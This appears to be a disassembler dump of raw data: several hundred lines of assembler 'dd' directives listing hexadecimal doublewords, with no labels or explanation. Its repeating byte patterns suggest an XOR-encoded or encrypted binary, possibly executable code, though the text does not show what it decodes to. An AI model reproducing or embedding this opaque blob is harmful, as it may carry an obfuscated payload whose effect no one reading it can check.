dd 6A6BF84Eh, 56440EF7h, 7BB4D575h, 0F7CD75B0h, 858587D0h
dd 0FA8A4FF1h, 0BCF96A6Bh, 224F7962h, 756A6BFBh, 0BCF3B4D5h
dd 756ABCF9h, 4FF1B4D5h, 6A6BFB82h, 794EBCF9h, 6BF87A4Fh
dd 0B4D5756Ah, 0CD75B07Bh, 8587D2F7h, 0C24FF185h, 0F96A6BFBh
dd 4F797EBCh, 6A6BFBFEh, 0F1B4D575h, 6BF85A4Fh, 60BCF96Ah
dd 8E47C575h, 7B6A6BFAh, 0B4D57584h, 0BE4FC575h, 0F76A6BFAh
dd 75704A3Eh, 46DBB2D5h, 0F96A6BF8h, 7F794EBAh, 6A6BFBDAh
dd 0F3B2D575h, 0F3B27BAAh, 8587DEFFh, 4A6FF185h, 436A7A8Ah
dd 6DFD75AAh, 537A7A7Bh, 0FAAEDBB8h, 0BAF96A6Bh, 77C57572h
dd 6A6BFB92h, 0B843B27Bh, 7A86F975h, 0C6DB7A7Ah, 7F6A6BFBh
dd 7A7A7AE4h, 0E563F43h, 857A1068h, 6C92720Fh, 0F97A7A1Fh
dd 0A19372BEh, 107A7A7Ah, 720F857Bh, 7A1F7E92h, 72BEF97Ah
dd 7A7AB393h, 94C7FA7Ah, 54858584h, 7AC2FE75h, 0DC127A7Ah
dd 926A6BF4h, 8585B7F6h, 8494C7F7h, 852D8585h, 0F72A720Fh
dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h
dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h
dd 8724922Dh, 0BEFB8585h, 7A7A7B22h, 0FFF71691h, 858584B8h
dd 0C2CF852Ah, 85858587h, 7B75B26Fh, 73B9F36Ah, 0FA2D0EA1h
dd 858494C7h, 300E5485h, 6BF4E712h, 0B764926Ah, 0C7F78585h
dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h, 23526F85h
dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h
dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 8585868Ah, 7B22BEFBh
dd 0A1737A7Ah, 2425EA0Fh, 2FB9B321h, 96F99FF3h, 2D2C2976h
dd 6BFB0ADBh, 7E92F96Ah, 0F1823FF3h, 0BBF3763Fh, 3A85B2F9h
dd 7A7B46FAh, 0BCF3830Fh
dd 0F7723FF1h, 85B2F972h, 7B46FA3Ah, 0F3830F7Ah, 0D6DB8E3Fh
dd 0F96A6BFBh, 3FF37892h, 0F1379186h, 6BFB4A67h, 0CADB316Ah
dd 0F36A6BFAh, 64779BDh, 0F96A6BFBh, 57917695h, 7B863FF1h
dd 722FF182h, 787EC475h, 75762FF1h, 43406EC4h, 39600FAAh
dd 6A0F8943h, 0F1823F85h, 3F436A3Fh, 0F17F0F82h, 6F91863Fh
dd 88D433Dh, 863F85B5h, 438E3FF1h, 0D108863Fh, 7A8585C2h
dd 2124257Ah, 0F32FB9B3h, 2C292B9Fh, 7207F12Dh, 0F82A47F9h
dd 0F7A6A6Bh, 0A2A126Fh, 6F856A6Bh, 6A7B75B6h, 0F82A7FBDh
dd 7A7B6A6Bh, 4FF17A7Ah, 6A6BFB56h, 0FB9A4F79h, 94F96A6Bh
dd 65CC757Ch, 782DCC75h, 0BBA8CD75h, 0A9737298h, 0F1A1CD75h
dd 6BFBBA6Fh, 0D575386Ah, 1CA47BA0h, 75860FF3h, 0F1863FCDh
dd 6BFB866Fh, 7FB8F96Ah, 0FB4A6F79h, 0AA436A6Bh, 7AFAFE75h
dd 2A127A7Ah, 856A6B0Ah, 6B23266Fh, 0FB4EDB6Ah, 0BAF96A6Bh
dd 3FF31C7Eh, 75589184h, 7B843FCDh, 6AC47582h, 7E35C475h
dd 6AF2B04Bh, 843FCD75h, 0FB6E6FF1h, 7B386A6Bh, 3FF31CAAh
dd 3FCD7584h, 2FCD7584h, 6AA4386h, 0FB6EDBA8h, 0F1326A6Bh
dd 6BFB8E6Fh, 566F796Ah, 0F96A6BF8h, 6EF26A90h, 7FC5757Dh
dd 6A6BFB3Eh, 0F17892F9h, 6BFB026Fh, 7390F96Ah, 127D6EF2h
dd 6A6B0A2Ah, 333A6F85h, 3DF76A73h, 2124257Ch, 0F32FB9B3h
dd 0F696FB9Fh, 297A7A78h, 7F12D2Ch, 4FC57572h, 6A6BFB42h
dd 866FC575h, 0F76A6BFAh, 0A9716C36h, 4FC57595h, 6A6BFABEh
dd 0FB966FF1h, 0EF76A6Bh, 8BF37D6Ch, 99A981F3h, 8496E7F3h
dd 0A2F38585h, 3742FB1Ch, 0DB740E20h, 6A6BFB2Eh, 7A85827Fh
dd 91B9537Ah, 0FA8ADB99h, 0BAF96A6Bh, 6FC57549h, 6A6BFAAAh
dd 0A0F3AA7Bh, 0EFF3B87Bh, 8585848Eh, 0A0F3AAF3h, 0EFF36A79h
dd 85858492h, 43723FF1h, 75620CB8h, 0FBE27FC5h, 6FF16A6Bh
dd 6A6BFBE6h, 816AFEF7h, 537A7A85h, 0F1E791B9h, 858492FFh
dd 9EFFF385h, 75858584h, 2A477ACDh, 0E7A7A3Fh, 0F86EDB6Bh
dd 877F6A6Bh, 537A7A85h, 850C93B9h, 0FFF18585h, 8585849Eh
dd 0F3023AF1h, 85849AFFh, 7BA3F385h, 8AF7F3BBh, 0F3858584h
dd 79A0F3B2h, 0F728762Ah, 858487FFh, 58922A85h, 0DB7A7A0Fh
dd 6A6BFB82h, 0F37992F9h, 5891863Fh, 0F0863FF1h, 84877FFEh
dd 1B468585h, 466B04h, 3FF17707h, 7FFEF786h, 85858487h
dd 855A52FAh, 3FF1863Fh, 0FEC47586h, 8584877Fh, 726FF185h
dd 756A6BFBh, 0FAB677C5h, 0B07B6A6Bh, 437390F9h, 0FAC70FAAh
dd 858485C7h, 4B0E2885h, 8579C7FAh, 0E498585h, 84C7FA52h
dd 3F858584h, 0C7FA650Eh, 85858578h, 0FA6C0E36h, 858487C7h
dd 770E3185h, 857EC7FAh, 75488585h, 7A7859FFh, 0FB22DB7Ah
dd 92F96A6Bh, 82FFF379h, 93858584h, 7A7A7B81h, 8482FFF1h
dd 77F18585h, 6A6BFB12h, 8D78BBF9h, 0A2FFF39Bh, 0F3858587h
dd 0F1B87BA0h, 85848AFFh, 5A2A7985h, 848EEFF3h, 0AAF38585h
dd 6A79A0F3h, 87A6EFF3h, 0F7288585h, 85879BFFh, 38922A85h
dd 0DB7A7A0Eh, 6A6BFB9Ah, 9A7FC6FAh, 2A858587h, 7BE5FF75h
dd 1ADB7A7Ah, 0FA6A6BFBh, 87A67FC6h, 750E8585h, 7A7BF6FFh
dd 0F836DB7Ah, 0B8F36A6Bh, 0C6FAB87Bh, 8587AC6Fh, 0FF753B85h
dd 7A7A7B0Fh, 6BFBE6DBh, 0CA7F796Ah, 0FA6A6BFAh, 87A27FC6h
dd 753D8585h, 7A7B26FFh, 7FC5757Ah, 6A6BFA86h, 0FBA27F79h
dd 0C6FA6A6Bh, 85879B7Fh, 0FF751985h, 7A7A7B3Bh, 627FC575h
dd 0FA6A6BF8h, 87917FC6h, 75088585h, 7A7B56FFh, 82FFF17Ah
dd 0F1858584h, 6BF86E77h, 4FC5756Ah, 6A6BFACEh, 93F98B7Bh
dd 0F39B8D7Ch, 858702FFh, 7BA0F385h, 8AFFF1B8h, 79858584h
dd 0EFF35E2Ah, 85858496h, 0F378CD75h, 8587AEFFh, 5677F185h
dd 0F96A6BFBh, 9B8D7E93h, 870EFFF3h, 0A0F38585h, 0FFF1B87Bh
dd 8585848Ah, 0F3662A79h, 85848EEFh, 0F3AAF385h, 0F36A79A0h
dd 8587AAEFh, 0C1C7F785h, 0F7858587h, 6BF9764Fh, 7A6FC36Ah
dd 0DE897A7Ah, 87D4C7F7h, 4FF78585h, 6A6BF95Bh, 7A7A77C3h
dd 0F3DE897Ah, 6BF82E67h, 0AAFFF16Ah, 0D9858587h, 6A7B5BD6h
dd 87E3C7F7h, 4FF78585h, 6A6BF954h, 7A7A6FC3h, 0F7DE897Ah
dd 858705C7h, 394FF785h, 0C36A6BF9h, 7A7A7A77h, 0F7DF1C89h
dd 8587C1FFh, 4F852A85h, 6A6BF82Eh, 5BD66F85h, 3AD96A7Bh
dd 0F76A7333h, 858705FFh, 4F852A85h, 6A6BF82Eh, 5BD66F85h
dd 0B6D96A7Bh, 0F76A7B75h, 8587D4FFh, 4F852A85h, 6A6BF82Eh
dd 5BD66F85h, 5AD96A7Bh, 0F76A6B15h, 8587E3FFh, 4F852A85h
dd 6A6BF82Eh, 5BD66F85h, 26D96A7Bh, 916A6B23h, 82FF8561h
dd 0F1858584h, 85848AFFh, 623AF185h, 8482FF43h, 0F8758585h
dd 8585878Ah, 0B3212425h, 9FF32FB9h, 797A42C2h, 839927Ah
dd 2C297A7Ah, 92FFF72Dh, 2A858785h, 6BFB36DBh, 6A7F796Ah
dd 0F96A6BFBh, 0F72A7192h, 0F72A663Fh, 0DB2A763Fh, 6A6BFB66h
dd 2A7892F9h, 2A723FF1h, 298562F1h, 0DBBDF32Eh, 6A6BFBA6h
dd 0FBAE7F79h, 92F96A6Bh, 75BD4372h, 7A79C3FFh, 0FAC2DB7Ah
dd 7F796A6Bh, 6A6BFB86h, 2A7E92F9h, 85A6FFF7h, 752A8587h
dd 0FB8A7FC5h, 92F96A6Bh, 0FFF12A7Fh, 85878592h, 8562F12Ah
dd 0BDF37629h, 727FC575h, 756A6BF8h, 0FABE6FC5h, 0AA7B6A6Bh
dd 437D92F9h, 29FF75BDh, 0F17A7A79h, 6BFB6A4Fh, 7394F96Ah
dd 7A78FFF7h, 852A8584h, 8785A6CFh, 0ADA79285h, 0BEF98585h
dd 86DFF972h, 7A858785h, 6BF836DBh, 1A7F796Ah, 0F96A6BFBh
dd 0FFF36A92h, 858785A2h, 8596FFBDh, 7A6A8587h, 0C5757A7Ah
dd 6BFAB67Fh, 0E7F796Ah, 0F96A6BFBh, 0FFF37292h, 85878582h
dd 0D27FC575h, 0F36A6BFBh, 87858EFFh, 8AFFBD85h, 78858785h
dd 0DB7A7A7Ah, 6A6BFABAh, 0F8467F79h, 92F96A6Bh, 0FFF72A78h
dd 85878596h, 86FFF72Ah, 2A858785h, 85A2FFF7h, 852A8587h
dd 8785A6CFh, 663FF785h, 763FF72Ah, 0FAB2DB2Ah, 7F796A6Bh
dd 6A6BFB2Ah, 2A7F92F9h, 2A723FF1h, 298562F1h, 0DBBDF33Eh
dd 6A6BFAA2h, 0B66FC575h, 7B6A6BFAh, 7D92F9AAh, 0FF75BD43h
dd 7A7A7B65h, 0BE7FC575h, 0F36A6BFBh, 0FE4F79BCh, 0F96A6BFBh
dd 0C7FA7194h, 85847A78h, 0FA730F3Eh, 847A79C7h, 7F0E2A85h
dd 7A7A8C93h, 7FC7FA7Ah, 2A85847Ah, 0C7FA730Fh, 85847A7Ch
dd 937F0E33h, 7A7A7AA5h, 8586FFF1h, 0FFF38587h, 858785AEh
dd 85A2FFF1h, 0FFF38587h, 858785AAh, 859AFFF7h, 0DB2A8587h
dd 6A6BFB8Eh, 6F79B8F3h, 6A6BFBFEh, 287790F9h, 0FB366FF1h
dd 90F96A6Bh, 6FF12878h, 6A6BFB76h, 0AAF3B87Bh, 2A7192F9h
dd 6A7FC575h, 796A6BF8h, 6BFB827Fh, 7292F96Ah, 0FA96DB2Ah
dd 2A326A6Bh, 85AAFFF7h, 852A8587h, 7A8A526Fh, 0B6FFF36Ah
dd 0F1858785h, 6BFA9E77h, 0F277796Ah, 0F96A6BFBh, 0B2437093h
dd 0C5756D0Fh, 6BFA867Fh, 6FC5756Ah, 6A6BFAE6h, 0AC7BBCF3h
dd 917294F9h, 7FC57538h, 6A6BFB7Eh, 4F79BCF3h, 6A6BF876h
dd 0F77894F9h, 8685B3FFh, 0CF852A85h, 8587859Eh, 85AC5892h
dd 72BEF985h, 627FC575h, 436A6BF8h, 87859EFFh, 85760E85h
dd 87859ECFh, 0B66F8585h, 0DB6A7B5Fh, 6A6BFAAEh, 0FB4A6FF1h
dd 6F796A6Bh, 6A6BFBDAh, 0F27390F9h, 85847FEEh, 0FEBC8584h
dd 8485867Fh, 32DB2A85h, 0BC6A6BF8h, 85847FFEh, 85068584h
dd 0FFF7560Fh, 85857A7Bh, 566F852Ah, 126A7A8Ah, 6A6BF4E2h
dd 85BEC992h, 0E7F72A85h
dd 85857A7Bh, 566F8529h, 126A7A8Ah, 6A6BF401h, 85BEE192h
dd 3667F185h, 0F96A6BF8h, 2A297291h, 92560F85h, 85858DC9h
dd 755EBEF9h, 0FB8A6FC5h, 0B8FB6A6Bh, 7A7A8583h, 620EAA43h
dd 7A78FFF7h, 0F72A8584h, 857A7BFFh, 0FE922A85h, 0F97A7A6Bh
dd 559172BEh, 7A78FFF7h, 0F72A8584h, 857A7BFFh, 6F852A85h
dd 6A7A8A56h, 6BF40C12h, 0BE44926Ah, 0F72A8585h, 857A7BE7h
dd 6F852985h, 6A7A8A56h, 0DB6EBEF9h, 6A6BFBAAh, 0FB8E7F79h
dd 92F96A6Bh, 0FBC4375h, 86FFF174h, 0F3858785h, 8785B2FFh
dd 0F7769185h, 8685B3FFh, 0B2FFF385h, 85858785h, 8785B2CFh
dd 7BFFF785h, 2A85857Ah, 8A566F85h, 0B126A7Ah, 926A6BF4h
dd 8585B99Eh, 7BE7F72Ah, 2985857Ah, 8A566F85h, 0BEF96A7Ah
dd 0F856DB6Eh, 7F796A6Bh, 6A6BFACAh, 437692F9h, 878586FFh
dd 85760E85h, 878586CFh, 966F8585h, 0F76A7F4Bh, 857A7BFFh
dd 6F852A85h, 6A7F4B9Ah, 86199323h, 0C5758585h, 6BFAB67Fh
dd 0FF43326Ah, 85878592h, 0FFF1760Eh, 85878592h, 8562F12Ah
dd 24257229h, 2FB9B321h, 96FB9FF3h, 7A7A7826h, 0F12D2C29h
dd 7F97227h, 630E7A6Ah, 6BFB26DBh, 4A7F796Ah, 0F96A6BFBh
dd 0FFF37F92h, 858587C2h, 7A7AFC93h, 762FF17Ah, 8277C575h
dd 0F96A6BFAh, 76437F93h, 7B5F9AEFh, 2C660F6Ah, 5FC66F85h
dd 96DB6A7Bh, 796A6BFBh, 6BFB4E7Fh, 7E92F96Ah, 1A6F852Ah
dd 0DB6A6B23h, 6A6BFB76h, 0F318BAF9h, 8587C2FFh, 0F4131285h
dd 7F926A6Bh, 858585B9h, 0F72A760Fh, 8587D0EFh, 6F852885h
dd 6A772352h, 0F76ABEF9h, 8587D0FFh, 6F852A85h, 6A6B231Eh
dd 0F7982F9h, 0FAA2DB6Ch, 587F6A6Bh, 797A7A7Bh, 6BFBA27Fh
dd 0C2FFF36Ah, 4B858587h, 0A3F33D85h, 3A85B2F9h, 7A7B46FAh
dd 0FFF3830Fh, 858587CEh, 6BF41812h, 0B8D0926Ah, 0BEF98585h
dd 0F72A297Eh, 8587C4EFh, 6F852885h, 6A772352h, 0F176BEF9h
dd 8587CEFFh, 6FC57585h, 6A6BF83Ah, 0FB666F79h, 90F96A6Bh
dd 0FAAA537Fh, 75547946h, 7A7AD1FFh, 0CEFFF17Ah, 0F9858587h
dd 0C4757E92h, 852A797Eh, 7A8A466Fh, 7EBEF96Ah, 0EFF2B8F3h
dd 858587D3h, 87CEFFF1h, 92F98585h, 7EC47578h, 6F852A79h
dd 6A7A8A46h, 0F37EBEF9h, 0D2EFF2B8h, 0F1858587h, 8587CEFFh
dd 7992F985h, 797EC475h, 466F852Ah, 0F96A7A8Ah, 0B8F37EBEh
dd 87DDEFF2h, 0C7FA8585h, 858587D3h, 0FA610F36h, 8587DDC7h
dd 680F3485h, 87D2C7FAh, 0F318585h, 95922973h, 0F98585BEh
dd 0C7FA7EBEh, 858587D3h, 0FA5B0F3Fh, 8587DDC7h, 620F2285h
dd 87D2C7FAh, 0F3F8585h, 0C2CF8575h, 29858587h, 85B8C092h
dd 72BEF985h, 84B8FFF7h, 0F72A8585h, 8587C4FFh, 6F852A85h
dd 6A734852h, 0C575BCF3h, 6BFBD27Fh, 767F796Ah, 0F96A6BF8h
dd 0A28D7992h, 0FE75BC43h, 7A7A7ACDh, 8494C7FAh, 75548585h
dd 7A7ADCFEh, 0F423127Ah, 0FB926A6Bh, 0F78585BBh, 858494EFh
dd 2A292885h, 87C4EFF7h, 85288585h, 7723526Fh, 6A0F856Ah
dd 0F7760F85h, 8587C4FFh, 0A6922A85h, 0F9858587h, 15915ABEh
dd 84B8FFF7h, 2C2A8585h, 75B26F85h, 0BDF36A7Bh, 670F8573h
dd 87C2FFF1h, 7F798585h, 6A772356h, 5E6F852Ah, 236A7723h
dd 0C66F852Ch, 916A7B5Fh, 94C7FA38h, 54858584h, 2A124F0Eh
dd 926A6BF4h, 8585BB6Ah, 8494EFF7h, 29288585h, 0C4EFF72Ah
dd 28858587h, 23526F85h, 0F856A77h, 760F856Ah, 87C4FFF7h
dd 922A8585h, 85858711h, 735ABEF9h, 25F70F85h, 0B9B32124h
dd 0C29FF32Fh, 7A7B7A4Eh, 7A11F692h, 2D2C297Ah, 6BF85ADBh
dd 7A7F796Ah, 0F96A6BFBh, 7F437192h, 6A6BF8BEh, 96DB6E0Fh
dd 0F96A6BFAh, 7F4373BAh, 6A7B5FAAh, 7802F875h, 0FFF77A7Ah
dd 8584859Ah, 326F852Ah, 0F76A7A8Ah, 8485AAFFh, 0FFF72A85h
dd 8584859Ah, 7573102Ah, 0FB7E7FC5h, 7F796A6Bh, 6A6BFB96h
dd 2A7992F9h, 85720F85h, 73485E6Fh, 0DBBDF36Ah, 6A6BFBAAh
dd 326FC575h, 7B6A6BFBh, 7292F9AAh, 0FF75BD43h, 7A7A785Ch
dd 8592CFF1h, 0CEDB8584h, 0F96A6BFBh, 0FFF37E92h, 85848582h
dd 8582FFF7h, 122A8584h, 6A6BE0D2h, 856CF12Ch, 7A7A6F6Eh
dd 0BDF37A7Ah, 6BF876DBh, 7E92F96Ah, 0FF75BD43h, 7A7A7B90h
dd 85A6FFF7h, 0F12A8584h, 848582FFh, 6AF12A85h, 0F3022885h
dd 0FBC6DBBDh, 0C5756A6Bh, 6BFBEA6Fh, 0F9AA7B6Ah, 0BD437492h
dd 7BCCFF75h, 0FFF77A7Ah, 85857A7Bh, 0A6CF852Ah, 92858485h
dd 8585AAA1h, 0F372BEF9h, 0EFF338B8h, 858485B6h, 85A6CF85h
dd 6F858584h, 6A6B154Eh, 7A7BC7FAh, 0F128585h, 78C7FA61h
dd 0E85857Ah, 0C7FA680Fh, 85857A79h, 0FA730F0Eh, 857A7EC7h
dd 7F0E0A85h, 7A7B1993h, 8AFFF77Ah, 2A858485h, 8582FFF1h
dd 0F12A8584h, 3228856Ah, 0A6DBBDF3h, 796A6BFBh, 6BF84E7Fh
dd 7292F96Ah, 0FF75BD43h, 7A7A7B42h, 8586FFF7h, 122A8584h
dd 6A6BE052h, 858AFFF1h, 0F12A8584h, 6F6E856Ah, 7A7A7A7Ah
dd 0DEDBBDF3h, 0F96A6BFAh, 0BD437D92h, 7A84FF75h, 0FFF77A7Ah
dd 8584858Eh, 86FFF12Ah, 2A858485h, 0E8856AF1h, 7A7A7BCAh
dd 5EDBBDF3h, 796A6BFBh, 6BF8567Fh, 7392F96Ah, 0FF75BD43h
dd 7A7A7ABEh, 85A2FFF7h, 0F12A8584h, 84858EFFh, 6AF12A85h
dd 0F30A2885h, 0FABADBBDh, 0B8F36A6Bh, 0AAF3B87Bh, 437E92F9h
dd 0F16B0EBDh, 84858EFFh, 7AF12A85h, 93722A85h, 7A7A7AF6h
dd 0FFF1A14Bh, 858485A2h, 858EFF43h, 790E8584h, 0F139A14Bh
dd 84858EFFh, 7AF12A85h, 0F1722A85h, 8485A2FFh, 7AF12A85h
dd 73722A85h, 0F7270FA1h, 8485AEFFh, 0FFF12A85h, 85848586h
dd 856AF12Ah, 0BDF35A28h, 6BFB56DBh, 6FC5756Ah, 6A6BFBE2h
dd 92F9AA7Bh, 0FBD4373h, 7BFFF749h, 2A85857Ah, 8582CF85h
dd 0CF858584h, 858485AEh, 8586CF85h, 4E928584h, 857A7A62h
dd 8485AECFh, 86CF8585h, 2C858485h, 7A1FBB92h, 66BEF97Ah
dd 8586FFF1h, 0F12A8584h, 722A857Ah, 858AFFF1h, 0F12A8584h
dd 722A857Ah, 857CF12Ch, 2425722Ah, 2FB9B321h, 96F99FF3h
dd 2D2C293Ah, 538E6F85h, 0B9F36A7Fh, 7A5F3892h, 0FBA737Ah
dd 4E47F174h, 0F96A6BF8h, 71937D95h, 297A7A78h, 467FC575h
dd 0F96A6BFBh, 122A7392h, 7A657585h, 15566F85h, 0BCF36A6Bh
dd 2A863FF7h, 852C5210h, 7B5AFA6Fh, 0F1BDF36Ah, 6BFB5E6Fh
dd 8E6F796Ah, 0F16A6BFBh, 6BFABA77h, 7893F96Ah, 0E2EF36F3h
dd 6BFABADBh, 7892F96Ah, 0FE75BD43h, 7A7A7BC0h, 2ABA3FF7h
dd 3FF75210h, 0DADB2ABEh, 0F96A6BFBh, 7F7970BAh, 6A6BFB96h
dd 860F852Ah, 23766F85h, 0BDF36A73h, 7A7207F9h, 7ADB230Eh
dd 0F96A6BFBh, 0BD437392h, 47F1740Fh, 6A6BFAD6h, 937C95F9h
dd 7A7A7B0Ch, 6BFB5ADBh, 79BDF36Ah, 6BFBFA47h, 7D95F96Ah
dd 6BF86EDBh, 6FC5756Ah, 6A6BF862h, 92F9AA7Bh, 0BE3F4379h
dd 7B36FE75h, 46DB7A7Ah, 0F36A6BF8h, 0A64779BDh, 0F96A6BFAh
dd 4D937E95h, 0DB7A7A7Bh, 6A6BFB1Ah, 437D92F9h, 6BF8F67Fh
dd 0DB620F6Ah, 6A6BFBDAh, 7A45827Fh, 3A102A7Ah, 53966F85h
dd 0F6D96A7Fh, 0F76A6BF8h, 752ABA3Fh, 0F83E7FC5h, 6FF16A6Bh
dd 6A6BFB7Ah, 8A6AFEF7h, 2A7A7A45h, 0F8F64F85h, 7B106A6Bh
dd 85860F85h, 7323766Fh, 0F87ADB6Ah, 7F796A6Bh, 6A6BFBCAh
dd 437692F9h, 6BF8F27Fh, 10750F6Ah, 857A106Eh, 7F53966Fh
dd 0F8F2D96Ah, 7B106A6Bh
dd 0F8F24F85h, 6F856A6Bh, 6A7B7A72h, 7A10BDF3h, 6BFB12DBh
dd 6FC5756Ah, 6A6BF872h, 92F9AA7Bh, 7B102A79h, 0F8F24F85h
dd 6F856A6Bh, 6A7F4B9Eh, 7A10BDF3h, 6BF8F6DBh, 854A856Ah
dd 6BF8F24Fh, 926F856Ah, 0F36A7F53h, 8A3FF7BDh, 0F44D122Ah
dd 0ADB6A6Bh, 0F96A6BFBh, 852A7E92h, 7A8A5A6Fh, 0BDBDF36Ah
dd 7A78823Fh, 0CADB7A7Ah, 0F96A6BFBh, 0BD437D92h, 0C575320Eh
dd 6BFB8A7Fh, 6FC5756Ah, 6A6BFB32h, 92F9AA7Bh, 963FF37Ch
dd 0CE7FC575h, 0F96A6BFAh, 752A7F92h, 0FB1E7FC5h, 7F796A6Bh
dd 6A6BFB86h, 3ADB2A32h, 326A6BFBh, 963FF72Ah, 857A102Ah
dd 6F85860Fh, 6A733266h, 852CBDF3h, 7333326Fh, 860F856Ah
dd 33326F85h, 82F36A73h, 0B3212425h, 9FF32FB9h, 7B7A7EC2h
dd 1CF1927Ah, 2C297A7Ah, 720FF12Dh, 4E3A47F7h, 7FA6A73h
dd 7C0F3976h, 5ADA47F7h, 7FA6A7Bh, 7C0F2A76h, 324A47F7h
dd 0B2DB6A73h, 326A6BFAh, 7AFA122Ah, 79107A7Ah, 6BFBA2DBh
dd 6FC5756Ah, 6A6BFAEEh, 92F9AA7Bh, 79102A7Ch, 7A7A7A12h
dd 6F852DBAh, 6A6B1162h, 85F9BDF3h, 0BDFE7585h, 107A7A7Ah
dd 0FBF2DB7Ah, 92F96A6Bh, 2D2C2A7Fh, 154A6F85h, 6EDB6A6Bh
dd 796A6BF8h, 6BFB067Fh, 7092F96Ah, 86FFF72Ah, 2A858485h
dd 7A858512h, 7BFFF77Ah, 2A85857Ah, 4E6F852Dh, 0F76A7A8Ah
dd 857A7FF7h, 85B2F985h, 7B46FA3Ah, 0F1830F7Ah, 6BFB2E6Fh
dd 26F796Ah, 0F96A6BFBh, 0B9F37690h, 0E7F3A97Bh, 85848586h
dd 0C5757A10h, 6BFA867Fh, 0F27F796Ah, 0F96A6BFBh, 2C2A7D92h
dd 4A6F852Dh, 0F16A6B15h, 6BFBC64Fh, 0B24F796Ah, 0F16A6BFBh
dd 848586E7h, 0CFE6F385h, 858485B3h, 6BFB26DBh, 7E92F96Ah
dd 86FFF72Ah, 2A858485h, 6BFB86DBh, 7EBAF96Ah, 7BFFF72Ah
dd 2A85857Ah, 666F852Dh, 2D6A6B15h, 33326F85h, 24256A73h
dd 2FB9B321h, 96FB9FF3h, 7A7A7B66h, 0F12D2C29h, 32F1723Fh
dd 8637F372h, 0F37E2AF1h, 3AF1822Fh, 8A3FF376h, 0F1723FF1h
dd 8E3FF37Ah, 849EC7F7h, 4FF78585h, 6A6BF91Ah, 7A7A6AC3h
dd 0F7DF897Ah, 4FF7DE07h, 6A6BF9DAh, 7A7A6AC3h, 0F7DF897Ah
dd 85851EC7h, 9A4FF785h, 0C36A6BF9h, 7A7A7A6Ah, 0C7F7DF89h
dd 8585855Eh, 0FE5A4FF7h, 6AC36A6Bh, 897A7A7Ah, 0FB0EDBDFh
dd 0B9F36A6Bh, 91F9B97Bh, 7B4B9374h, 0A5F37A7Ah, 85789DBBh
dd 849E47CEh, 47F18585h, 6A6BFBF6h, 2D7CBDF9h, 857607F1h
dd 0F85E54Eh, 860F858Ah, 85820F85h, 3E928E0Fh, 0F98585B3h
dd 3FF366BEh, 0FB82DB8Eh, 433A6A6Bh, 0F3320EB9h, 5E4779A5h
dd 856A6BF8h, 849EC7CEh, 0C5758585h, 6BFBEA47h, 0CA47796Ah
dd 356A6BFAh, 8E47F12Dh, 0F96A6BFBh, 0A4F37295h, 7F1847Bh
dd 0CD4E8576h, 85860F85h, 0F85820Fh, 8A0F858Eh, 85B28892h
dd 66BEF985h, 0F18A3FF3h, 6BFB1247h, 4FC5756Ah, 6A6BFB32h
dd 0F3358D7Bh, 85847BA4h, 849ECFCEh, 0C5758585h, 6BFAAA47h
dd 71BDF96Ah, 47C5752Dh, 6A6BFBB6h, 0F37D95F9h, 0F1847BA4h
dd 4E857607h, 820F85CDh, 858E0F85h, 0F858A0Fh, 0B2DB9286h
dd 3FF38585h, 47C57586h, 6A6BF86Ah, 0FB824779h, 95F96A6Bh
dd 7BA4F37Fh, 0CFCE8584h, 8585849Eh, 0FBC647F1h, 0BDF96A6Bh
dd 0C5752D6Ah, 6BFBE247h, 78BDF96Ah, 847BA4F3h, 857607F1h
dd 0F85CD4Eh, 8A0F858Eh, 820F852Ah, 85B22C92h, 42BEF985h
dd 0DB823FF3h, 6A6BFB1Ah, 0FB2E7F79h, 92F96A6Bh, 75B97B71h
dd 0FB1E7FC5h, 0BAF96A6Bh, 75B94371h, 8584C7FCh, 0FB2EDB85h
dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0FB7ADB71h, 0C5756A6Bh
dd 6BFA866Fh, 0F9AA7B6Ah, 3FF37192h, 7BE39396h, 7F17A7Ah
dd 0C70E8596h, 247F1DEh, 0F96A6BFBh, 0F12D7E95h, 4E857607h
dd 8A0F85E5h, 85860F85h, 0F85820Fh, 0B2FE928Eh, 0BEF98585h
dd 8E3FF366h, 6BF836DBh, 7E92F96Ah, 7EDBB97Bh, 0F96A6BF8h
dd 0B94374BAh, 0CEDB7008h, 0F96A6BFBh, 0B95376BAh, 0F19607F1h
dd 6BFAA64Fh, 7994F96Ah, 0E858D7Bh, 47F1DEC7h, 6A6BFB0Eh
dd 3A4FC575h, 7B6A6BF8h, 7C95F98Dh, 7607F12Dh, 85E54E85h
dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585B258h, 0F366BEF9h
dd 0AEDB8A3Fh, 796A6BFAh, 6BFA9E7Fh, 7F92F96Ah, 9EDBB97Bh
dd 0F96A6BFAh, 7F797EBAh, 6A6BFB0Eh, 7008B943h, 6BFBCEDBh
dd 76BAF96Ah, 7F1B953h, 4FC57596h, 6A6BF86Ah, 0F87A4F79h
dd 94F96A6Bh, 858D7B72h, 0F1DEC70Eh, 6BFBF647h, 73BDF96Ah
dd 0FB9E4779h, 0F12D6A6Bh, 4E857607h, 820F85E5h, 858E0F85h
dd 0F858A0Fh, 0BDCA9286h, 0BEF98585h, 863FF366h, 6BFB02DBh
dd 7E92F96Ah, 42DBB97Bh, 0F96A6BF8h, 0B9436ABAh, 0A2DB7008h
dd 0F96A6BFAh, 0B95370BAh, 0F19607F1h, 6BF87A4Fh, 7894F96Ah
dd 0E858D7Bh, 0C575DEC7h, 6BFABE47h, 74BDF96Ah, 7607F12Dh
dd 85E54E85h, 0F858E0Fh, 860F858Ah, 92820F85h, 8585BD2Ch
dd 0F366BEF9h, 7ADB823Fh, 0F96A6BFBh, 0B97B7E92h, 6A7FC575h
dd 0F16A6BF8h, 6BFBDA6Fh, 6A3EF76Ah, 8B94379h, 0FB0ADB69h
dd 0BAF96A6Bh, 6FC57572h, 6A6BFB3Eh, 0B953AA7Bh, 6BFBF6DBh
dd 79BAF96Ah, 0DB963F7Bh, 6A6BF85Eh, 4371BAF9h, 0FC75963Fh
dd 8585842Ch, 0FAC667F1h, 0B9F96A6Bh, 7FC5757Fh, 6A6BFB42h
dd 0F37992F9h, 0E393923Fh, 0F17A7A7Bh, 0CE859207h, 85851EC7h
